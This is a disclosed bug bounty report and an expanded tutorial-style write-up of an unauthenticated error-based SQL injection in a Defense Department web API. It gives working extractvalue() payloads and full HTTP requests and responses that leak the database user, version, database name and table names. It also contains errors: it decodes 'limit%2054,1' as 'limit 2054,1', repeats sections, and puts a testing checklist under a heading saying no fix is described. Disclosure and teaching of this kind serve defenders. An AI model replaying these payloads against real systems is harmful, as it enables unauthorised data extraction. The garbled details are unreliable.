Unauthenticated SQL Injection at █████████ [HtUS]
An unauthenticated SQL injection in the /api/organizations/* endpoint allowed an attacker to inject SQL commands via a single quote and extract database information using error-based techniques. The attacker could retrieve the database user, version, database name, and table names.
- Triaged in 5 hours
- Fixed in 43 days
- Paid in 5 hours
- Disclosed after 3 months
Summary
Hi team, I found Unauthenticated SQL Injection at ██████. Because of non-filter and non-escape input at API /api/organizations/*, attacker can inject malicious payload after single quote (') to exploit and extract database.
Step to Reproduce:
Execute Request
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Then the response is
HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 209
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
X-DNS-Prefetch-Control: off
Expect-CT: max-age=0
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
Origin-Agent-Cluster: ?1
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: no-referrer
X-XSS-Protection: 0
Strict-Transport-Security: max-age=31536000
Expires: Tue, 05 Jul 2022 04:12:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 05 Jul 2022 04:12:11 GMT
Connection: keep-alive
{"statusCode":500,"code":"P2010","error":"Internal Server Error","message":"\nInvalid `prisma.queryRaw()` invocation:\n\n\n Raw query failed. Code: `1105`. Message: `XPATH syntax error: ':█████████'`"}
The result was leaked by SQL XPATH Error, so we get user() = ████████
Change query to version() we get version = 8.0.23 https://██████/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+version()))))=1--%20aa
Change query to version() we get database = ███ https://███/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+database()))))=1--%20aa
█████████ ██████████ ███ To extract data, we use this requests
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
█████
Impact
Attacker can extract database from server █████
Context
The target was a web application in the U.S. Department of Defence bug bounty program on HackerOne. The report describes an API endpoint under /api/organizations/* that takes an organisation identifier as part of the URL path.
The researcher found that the identifier is passed into a raw database query without filtering or escaping, which allows an unauthenticated attacker to inject SQL after a single quote and extract data from the database.
Setup
No account, role or special tooling is described. The request is sent without any authentication material: no cookie, no token, no API key. The only precondition is network access to the host, which is redacted in the report. The version disclosed during exploitation is 8.0.23.
Finding it
The researcher reports that the input at /api/organizations/* is neither filtered nor escaped. Injecting a single quote followed by a SQL expression into the organisation identifier changes the behaviour of the backend query, which is the signal that the value reaches the database as SQL rather than as a bound parameter.
Exploitation
Step 1: Confirm injection and leak user()
The first request appends a boolean expression after a single quote. The expression calls extractvalue() with a random first argument and a concatenation of 0x3a (a colon) with the result of select user().
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
The server answers with a 500 error whose body contains the database error message:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 209
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
X-DNS-Prefetch-Control: off
Expect-CT: max-age=0
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
Origin-Agent-Cluster: ?1
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: no-referrer
X-XSS-Protection: 0
Strict-Transport-Security: max-age=31536000
Expires: Tue, 05 Jul 2022 04:12:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 05 Jul 2022 04:12:11 GMT
Connection: keep-alive
{"statusCode":500,"code":"P2010","error":"Internal Server Error","message":"\nInvalid `prisma.queryRaw()` invocation:\n\n\n Raw query failed. Code: `1105`. Message: `XPATH syntax error: ':█████████'`"}
The error is an XPATH syntax error raised by extractvalue(). The value returned by user() is embedded in the error message after the colon, so the database user is disclosed. The response also shows that the query is executed through Prisma's queryRaw().
Step 2: Leak the database version
The same technique is repeated with version() in place of user():
https://██████/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+version()))))=1--%20aa
The result is version 8.0.23.
Step 3: Leak the current database name
The payload is changed again, this time to database():
https://███/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+database()))))=1--%20aa
This returns the name of the current database. The report shows the extracted values redacted.
Step 4: Enumerate tables
To pull data out of the schema, the researcher uses a different form of the payload. Here the injected expression is compared to an empty string, and the subquery reads from information_schema.tables with limit 2054,1:
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
The report shows the output of this request redacted.
Root cause
The organisation identifier from the URL path is concatenated into a raw SQL query. The response body names prisma.queryRaw(), which executes a string as SQL, so any quote or SQL syntax in the identifier becomes part of the query. Because the value is not filtered or escaped, a single quote closes the string literal in the original query and the rest of the payload is interpreted as SQL. The application then returns the raw database error to the client, which turns the XPATH error from extractvalue() into a reliable extraction channel: the subquery result is placed inside the error message and read back by the attacker.
Impact
An unauthenticated attacker can extract data from the database behind the server. The researcher demonstrated disclosure of the database user, the version and the current database name. The report states that an attacker can extract the database from the server, with the host redacted.
Fix
The report does not describe a fix.
- Other path segments under
/api/organizations/*that accept an identifier, such as a slug or a numeric ID. A positive result is a change in response status or body when a single quote is appended. - Other endpoints that use
queryRaw()or similar raw query interfaces. A positive result is a database error message in the response that reflects injected SQL. - Error-based extraction with
extractvalue()andupdatexml()on MySQL targets. A positive result is an XPATH syntax error containing the subquery output. - Boolean-based tests where the error is suppressed: compare a true condition and a false condition on the same parameter. A positive result is a consistent difference in response body or status.
This kind of bug tends to hide in API routes that take an identifier from the URL path and pass it to a raw query layer, especially where the response exposes database error details. During recon, look for JSON error bodies that include database error codes or messages, and for stack traces or ORM names such as prisma.queryRaw(). A single quote in a path segment that produces a 500 with a database error is a strong signal. The researcher showed impact by moving from a simple error to extracting user(), version(), database() and table names from information_schema, which demonstrates that the injection is not just an error but a working extraction channel.
What happened, in plain words
A security researcher was looking at a website run by the U.S. Department of Defence, as part of a bug bounty program on HackerOne. A bug bounty program is an arrangement where an organisation invites outside people to look for security problems in its systems and report them, often for a reward. The researcher found a serious flaw: a part of the website that reads information from a database could be tricked into running extra commands written by the attacker, without the attacker needing to log in at all. This kind of flaw is called SQL injection, and it can let someone read data they were never meant to see.
To understand the rest of this article you only need to know a few everyday ideas, and each one is explained where it first appears. The important thing to take away is that a single quote character, typed in the right place in a web address, was enough to make the database reveal its own username, its version, its database name and the names of its tables.
The target and the feature involved
The target was a web application in the U.S. Department of Defence bug bounty program on HackerOne. The report describes an API endpoint under /api/organizations/*.
An API (Application Programming Interface) is a way for one piece of software to talk to another. When you use a website, your browser often asks the site's API for data, and the API answers with that data in a structured format, usually JSON. JSON is just a text format for organising information into labelled fields, a bit like a very tidy form.
An endpoint is a specific address on a server that accepts a particular kind of request. Think of a large office building: the building is the server, and each endpoint is a different service window where you can ask for a specific thing. The endpoint here is under /api/organizations/*, which means it deals with organisations, and the * stands for a value supplied in the web address itself.
That value is an organisation identifier, a short code that names one particular organisation. A database is an organised store of information, and a record is one entry in it, like one row in a spreadsheet.
The researcher found that the identifier is passed into a raw database query without filtering or escaping. A query is an instruction sent to the database, written in a language called SQL. "Raw" means the application builds the instruction as a piece of text and hands it straight to the database. "Filtering" means checking the input and rejecting anything that does not look right. "Escaping" means marking special characters so the database treats them as ordinary text rather than as part of the instruction. Because neither happened, an attacker who is not logged in can inject SQL after a single quote and extract data from the database.
Setup
No account, role or special tooling is described. The request is sent without any authentication material: no cookie, no token, no API key.
A cookie is a small piece of data a website stores in your browser so it can recognise you on later visits, a bit like a cloakroom ticket that proves which coat is yours. A token is a similar proof of identity, usually a long string of characters that the server checks. An API key is a password-like string that identifies a program rather than a person. None of these were needed here, which is what "unauthenticated" means: the attacker did not have to prove who they were.
The only precondition is network access to the host, which is redacted in the report. "Redacted" means the real value has been blacked out, here shown as blocks such as ████, to avoid publishing details that could help someone attack the system again. The version disclosed during exploitation is 8.0.23.
Finding it
The researcher reports that the input at /api/organizations/* is neither filtered nor escaped. Injecting a single quote followed by a SQL expression into the organisation identifier changes the behaviour of the backend query, which is the signal that the value reaches the database as SQL rather than as a bound parameter.
A bound parameter is the safe way to pass a value to a database. Instead of gluing the value into the instruction text, the application sends the instruction and the value separately, and the database treats the value purely as data, never as part of the instruction. It is the difference between handing a courier a sealed parcel with an address on it, and letting the courier read and follow whatever is written on the parcel. When the value is glued in, a single quote can end the piece of text the database expected and start something new, which is exactly what the researcher did next.
Exploitation
Step 1: Confirm injection and leak user()
The first request appends a boolean expression after a single quote. A boolean expression is a condition that evaluates to true or false. The expression calls extractvalue() with a random first argument and a concatenation of 0x3a (a colon) with the result of select user().
extractvalue() is a MySQL function that reads a value out of an XML document. XML is a text format for structured data, and a function that reads it expects the document to be well formed. If it is not, MySQL raises an error, and the error message includes a snippet of the bad input. The researcher abuses this: by putting the result of a subquery into the input, the result ends up inside the error message. A subquery is simply a query nested inside another query. user() is a MySQL function that returns the name of the database account currently running the query. 0x3a is the hexadecimal code for a colon character, used here as a marker so the leaked value is easy to spot after it. The -- sequence starts a comment in SQL, so everything after it is ignored, and %20 is the URL encoding of a space.
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Line by line, this is what the request says:
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1is the request line.GETmeans "give me this resource". The path is the organisation endpoint followed by an identifier. The identifier starts as0010jdlwix09k, then a single quote closes the text the application was building, and everything after it is the injected SQL. The+signs are URL encodings of spaces, because spaces are not allowed raw in a web address.HTTP/1.1is the version of the protocol being used.Host: ████names the server being contacted. The real name is redacted.User-Agent: Mozilla/5.0tells the server what kind of client is making the request. This is a generic browser identifier.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8lists the content types the client is willing to receive, with preference weights.Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3lists preferred languages, here Vietnamese and English.Accept-Encoding: gzip, deflatesays the client can accept compressed responses.Upgrade-Insecure-Requests: 1asks the server to redirect to a secure (HTTPS) version if one is available.Sec-Fetch-Dest: document,Sec-Fetch-Mode: navigate,Sec-Fetch-Site: noneandSec-Fetch-User: ?1are browser hints describing what kind of request this is, here a top-level navigation started by a user.Te: trailerssays the client can handle trailing headers in a chunked response.
The server answers with a 500 error whose body contains the database error message:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 209
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
X-DNS-Prefetch-Control: off
Expect-CT: max-age=0
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
Origin-Agent-Cluster: ?1
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: no-referrer
X-XSS-Protection: 0
Strict-Transport-Security: max-age=31536000
Expires: Tue, 05 Jul 2022 04:12:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 05 Jul 2022 04:12:11 GMT
Connection: keep-alive
{"statusCode":500,"code":"P2010","error":"Internal Server Error","message":"\nInvalid `prisma.queryRaw()` invocation:\n\n\n Raw query failed. Code: `1105`. Message: `XPATH syntax error: ':█████████'`"}
Line by line, this is what the response says:
HTTP/1.1 500 Internal Server Erroris the status line. The number 500 means the server hit an unexpected problem while handling the request. That is the first sign that the injected SQL did something.Content-Type: application/json; charset=utf-8says the body is JSON text encoded in UTF-8.Content-Length: 209says the body is 209 bytes long.- The
Cross-Origin-Embedder-Policy,Cross-Origin-Opener-PolicyandCross-Origin-Resource-Policyheaders are browser security settings that control how content from other sites may interact with this page. X-DNS-Prefetch-Control: offdisables a browser feature that pre-resolves domain names.Expect-CT: max-age=0relates to certificate transparency, a system for publicly logging HTTPS certificates.X-Frame-Options: SAMEORIGINstops other sites from embedding this page in a frame.X-Download-Options: noopenandX-Content-Type-Options: nosniffare hardening headers that stop browsers from guessing file types or opening downloads automatically.Origin-Agent-Cluster: ?1asks the browser to isolate this page in its own process.X-Permitted-Cross-Domain-Policies: nonerestricts cross-domain policy files.Referrer-Policy: no-referrerstops the browser from sending the referring page's address to other sites.X-XSS-Protection: 0disables an old browser filter that is no longer recommended.Strict-Transport-Security: max-age=31536000tells the browser to use HTTPS for this site for a year.Expires,Cache-ControlandPragmacontrol caching, here telling the browser not to store the response.Date: Tue, 05 Jul 2022 04:12:11 GMTis when the server produced the response.Connection: keep-alivesays the network connection can stay open for further requests.- The body is the JSON error.
statusCodeis 500,codeisP2010, anderrorisInternal Server Error. Themessagefield is the interesting part: it says the raw query failed with code1105and the messageXPATH syntax error: ':█████████'.
The error is an XPATH syntax error raised by extractvalue(). XPATH is the language used to pick values out of an XML document, and the error means the document handed to the function was not valid XML. The value returned by user() is embedded in the error message after the colon, so the database user is disclosed. The response also shows that the query is executed through Prisma's queryRaw(). Prisma is a tool that programs use to talk to databases, and queryRaw() lets the program send a query as a plain piece of text, which is exactly the unsafe path described earlier.
Step 2: Leak the database version
The same technique is repeated with version() in place of user(). version() is a MySQL function that returns the version of the database software. Knowing the version matters because different versions support different functions and behave in slightly different ways, so it helps an attacker plan the next steps.
https://██████/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+version()))))=1--%20aa
This is the same request as before, written as a full web address instead of a raw HTTP request. The only change is that user() has been replaced by version(). The result is version 8.0.23.
Step 3: Leak the current database name
The payload is changed again, this time to database(). database() is a MySQL function that returns the name of the database the current connection is using. A single MySQL server can hold many databases, so this tells the attacker which one they are inside.
https://███/api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+database()))))=1--%20aa
Again the structure is identical, with database() in place of version(). This returns the name of the current database. The report shows the extracted values redacted.
Step 4: Enumerate tables
To pull data out of the schema, the researcher uses a different form of the payload. A schema is the blueprint of a database: the list of its tables and the columns inside them. A table is where the actual records live, like one sheet in a spreadsheet, and a column is one field within that sheet. MySQL keeps a built-in database called information_schema that describes all the other databases, including a table called tables that lists every table by name. Reading it is like reading the index of a book before deciding which chapter to open.
Here the injected expression is compared to an empty string, and the subquery reads from information_schema.tables with limit 2054,1. limit takes two numbers: how many rows to skip, and how many to return. So limit 2054,1 skips the first 2054 rows and returns the next single row.
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Line by line:
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1is the request line. This time the identifier is empty and the payload begins immediately with a single quote, which closes the text the application was building. Theormakes the condition true if either side is true.extractvalue(1,concat(1,...))again forces an error, with the subquery result glued after a1. The subquery isselect(table_name)from information_schema.tables limit 2054,1, which fetches one table name.%20is an encoded space. The final='closes the comparison with an empty string.Host: ████names the server, redacted.User-Agent: Mozilla/5.0identifies the client.- The
Accept,Accept-LanguageandAccept-Encodingheaders are the same content and language preferences as before. Upgrade-Insecure-Requests: 1asks for HTTPS if available.- The
Sec-Fetch-*headers describe the request as a user-started navigation. Te: trailerssays the client can handle trailing headers.
The report shows the output of this request redacted.
Root cause
The organisation identifier from the URL path is concatenated into a raw SQL query. Concatenated means joined together as text. The response body names prisma.queryRaw(), which executes a string as SQL, so any quote or SQL syntax in the identifier becomes part of the query. Because the value is not filtered or escaped, a single quote closes the string literal in the original query and the rest of the payload is interpreted as SQL. A string literal is a piece of text inside quotes in a query; closing it early lets the attacker start writing their own instructions.
The application then returns the raw database error to the client, which turns the XPATH error from extractvalue() into a reliable extraction channel: the subquery result is placed inside the error message and read back by the attacker. In other words, the database is not just failing, it is answering the attacker's question inside its own complaint.
Impact
An unauthenticated attacker can extract data from the database behind the server. The researcher demonstrated disclosure of the database user, the version and the current database name. The report states that an attacker can extract the database from the server, with the host redacted. CVSS is a standard scoring system for the severity of a security flaw, where higher numbers mean more serious problems.
Fix
The report does not describe a fix. Parameterised queries are the sealed-parcel approach described earlier: the instruction and the value travel separately, so the value can never become part of the instruction.
- Other path segments under
/api/organizations/*that accept an identifier, such as a slug or a numeric ID. A slug is a short readable name used in a web address. A positive result is a change in response status or body when a single quote is appended. - Other endpoints that use
queryRaw()or similar raw query interfaces. A positive result is a database error message in the response that reflects injected SQL. - Error-based extraction with
extractvalue()andupdatexml()on MySQL targets.updatexml()is another MySQL function that works on XML and raises a similar error when given bad input. A positive result is an XPATH syntax error containing the subquery output. - Boolean-based tests where the error is suppressed: compare a true condition and a false condition on the same parameter. A positive result is a consistent difference in response body or status.
This kind of bug tends to hide in API routes that take an identifier from the URL path and pass it to a raw query layer, especially where the response exposes database error details. During recon, look for JSON error bodies that include database error codes or messages, and for stack traces or ORM names such as prisma.queryRaw(). Recon is the early stage of exploring a target to map out what it contains. An ORM (object-relational mapper) is a library that translates between program code and database queries, and its name in an error message is a strong hint about how the query was built. A stack trace is a list of the internal steps a program took before failing, which often reveals internal details.
A single quote in a path segment that produces a 500 with a database error is a strong signal. The researcher showed impact by moving from a simple error to extracting user(), version(), database() and table names from information_schema, which demonstrates that the injection is not just an error but a working extraction channel.
Glossary
- API: a way for one piece of software to talk to another, usually exchanging structured data.
- API key: a password-like string that identifies a program rather than a person.
- Authentication: proving who you are, for example with a password, cookie or token.
- Boolean expression: a condition that evaluates to true or false.
- Bound parameter: a value sent to a database separately from the query text, so it is always treated as data.
- Bug bounty program: an arrangement where an organisation invites outsiders to find and report security problems.
- Cache-Control: an HTTP header that tells browsers and proxies whether to store a response.
- Column: one field within a database table, like a column in a spreadsheet.
- Concatenation: joining pieces of text together end to end.
- Cookie: a small piece of data a website stores in your browser to recognise you later.
- Critical: the highest severity label in many bug bounty programs.
- CVSS: a standard scoring system for the severity of a security flaw.
- Database: an organised store of information managed by a database program.
- Database backend: the database program that sits behind an application and stores its data.
- Endpoint: a specific address on a server that accepts a particular kind of request.
- Error-based extraction: reading data by making the database put it inside an error message.
- Escaping: marking special characters so they are treated as ordinary text rather than as instructions.
- extractvalue(): a MySQL function that reads a value from an XML document and raises an error if the document is invalid.
- Filtering: checking input and rejecting anything that does not look right.
- GET: an HTTP method meaning "give me this resource".
- HackerOne: a platform where organisations run bug bounty programs and researchers submit reports.
- Header: a line of extra information sent with an HTTP request or response.
- Host: the header that names the server being contacted.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTPS: HTTP protected by encryption.
- information_schema: a built-in MySQL database that describes the other databases, tables and columns.
- Injection: inserting extra instructions into a place where only data was expected.
- JSON: a text format for structured data made of labelled fields.
- limit: a SQL clause that skips a number of rows and returns a chosen number of them.
- MySQL: a popular database program.
- ORM: a library that translates between program code and database queries.
- Parameterised query: a query where values are sent separately from the instruction text, preventing injection.
- Prisma: a tool that programs use to talk to databases.
- queryRaw(): Prisma's interface for sending a query as a plain piece of text.
- Raw query: a database instruction built as text and sent directly, without safe value binding.
- Record: one entry in a database, like one row in a spreadsheet.
- Redacted: hidden or blacked out, usually shown as blocks, to avoid publishing sensitive details.
- Recon: the early stage of exploring a target to map out what it contains.
- Remediation: the change made to fix a security flaw.
- Schema: the blueprint of a database, listing its tables and columns.
- Severity: how serious a security flaw is judged to be.
- Slug: a short readable name used in a web address.
- SQL: the language used to send instructions to a database.
- Stack trace: a list of the internal steps a program took before failing.
- String literal: a piece of text inside quotes in a query.
- Subquery: a query nested inside another query.
- Table: a collection of records in a database, like one sheet in a spreadsheet.
- Token: a string that proves identity, usually checked by a server.
- Unauthenticated: done without proving who you are.
- updatexml(): a MySQL function that works on XML and raises an error when given invalid input.
- URL encoding: replacing characters that are not allowed in a web address, such as spaces, with codes like
%20. - User-Agent: a header that tells the server what kind of client is making the request.
- user(): a MySQL function that returns the name of the database account running the query.
- version(): a MySQL function that returns the version of the database software.
- XML: a text format for structured data.
- XPATH: the language used to pick values out of an XML document.